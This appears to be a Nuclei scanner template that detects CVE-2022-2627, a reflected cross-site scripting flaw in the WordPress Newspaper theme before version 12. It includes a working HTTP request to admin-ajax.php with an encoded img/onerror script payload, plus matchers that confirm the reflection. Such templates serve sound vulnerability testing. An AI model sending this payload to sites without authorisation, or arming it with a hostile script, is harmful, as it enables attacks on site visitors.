51 lines
1.5 KiB
YAML
51 lines
1.5 KiB
YAML
id: CVE-2022-2627
|
|
|
|
info:
|
|
name: WordPress Newspaper <12 - Cross-Site Scripting
|
|
author: ramondunker
|
|
severity: medium
|
|
description: |
|
|
WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/038327d0-568f-4011-9b7e-3da39e8b6aea
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-2627
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-2627
|
|
cwe-id: CWE-79
|
|
cpe: cpe:2.3:a:tagdiv:newspaper:*:*:*:*:*:*:*:*
|
|
epss-score: 0.00064
|
|
tags: xss,wordpress,wp,wp-theme,newspaper,wpscan,cve,cve2022
|
|
metadata:
|
|
max-request: 1
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/2
|
|
Host: {{Hostname}}
|
|
|
|
action=td_ajax_search&td_string=tej2j1q%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3emvufr
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<img src=x onerror=alert(document.domain)>'
|
|
- '/newspaper'
|
|
condition: and
|
|
case-insensitive: true
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by md on 2023/04/13
|